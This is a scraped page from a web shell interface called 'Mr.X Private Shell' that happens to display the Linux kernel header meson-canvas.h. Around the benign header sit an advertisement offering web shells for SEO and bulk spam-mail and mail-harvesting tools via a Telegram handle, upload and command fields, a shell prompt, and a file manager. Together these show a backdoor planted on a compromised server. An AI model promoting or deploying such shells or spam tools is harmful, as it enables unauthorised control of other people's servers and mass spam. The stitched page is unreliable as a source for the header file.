__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/* SPDX-License-Identifier: GPL-2.0+ */
/*
 * Copyright (C) 2018 BayLibre, SAS
 */
#ifndef __SOC_MESON_CANVAS_H
#define __SOC_MESON_CANVAS_H

#include <linux/kernel.h>

#define MESON_CANVAS_WRAP_NONE	0x00
#define MESON_CANVAS_WRAP_X	0x01
#define MESON_CANVAS_WRAP_Y	0x02

#define MESON_CANVAS_BLKMODE_LINEAR	0x00
#define MESON_CANVAS_BLKMODE_32x32	0x01
#define MESON_CANVAS_BLKMODE_64x64	0x02

#define MESON_CANVAS_ENDIAN_SWAP16	0x1
#define MESON_CANVAS_ENDIAN_SWAP32	0x3
#define MESON_CANVAS_ENDIAN_SWAP64	0x7
#define MESON_CANVAS_ENDIAN_SWAP128	0xf

struct device;
struct meson_canvas;

/**
 * meson_canvas_get() - get a canvas provider instance
 *
 * @dev: consumer device pointer
 */
struct meson_canvas *meson_canvas_get(struct device *dev);

/**
 * meson_canvas_alloc() - take ownership of a canvas
 *
 * @canvas: canvas provider instance retrieved from meson_canvas_get()
 * @canvas_index: will be filled with the canvas ID
 */
int meson_canvas_alloc(struct meson_canvas *canvas, u8 *canvas_index);

/**
 * meson_canvas_free() - remove ownership from a canvas
 *
 * @canvas: canvas provider instance retrieved from meson_canvas_get()
 * @canvas_index: canvas ID that was obtained via meson_canvas_alloc()
 */
int meson_canvas_free(struct meson_canvas *canvas, u8 canvas_index);

/**
 * meson_canvas_config() - configure a canvas
 *
 * @canvas: canvas provider instance retrieved from meson_canvas_get()
 * @canvas_index: canvas ID that was obtained via meson_canvas_alloc()
 * @addr: physical address to the pixel buffer
 * @stride: width of the buffer
 * @height: height of the buffer
 * @wrap: undocumented
 * @blkmode: block mode (linear, 32x32, 64x64)
 * @endian: byte swapping (swap16, swap32, swap64, swap128)
 */
int meson_canvas_config(struct meson_canvas *canvas, u8 canvas_index,
			u32 addr, u32 stride, u32 height,
			unsigned int wrap, unsigned int blkmode,
			unsigned int endian);

#endif

Filemanager

Name Type Size Permission Actions
meson-canvas.h File 1.87 KB 0644
Filemanager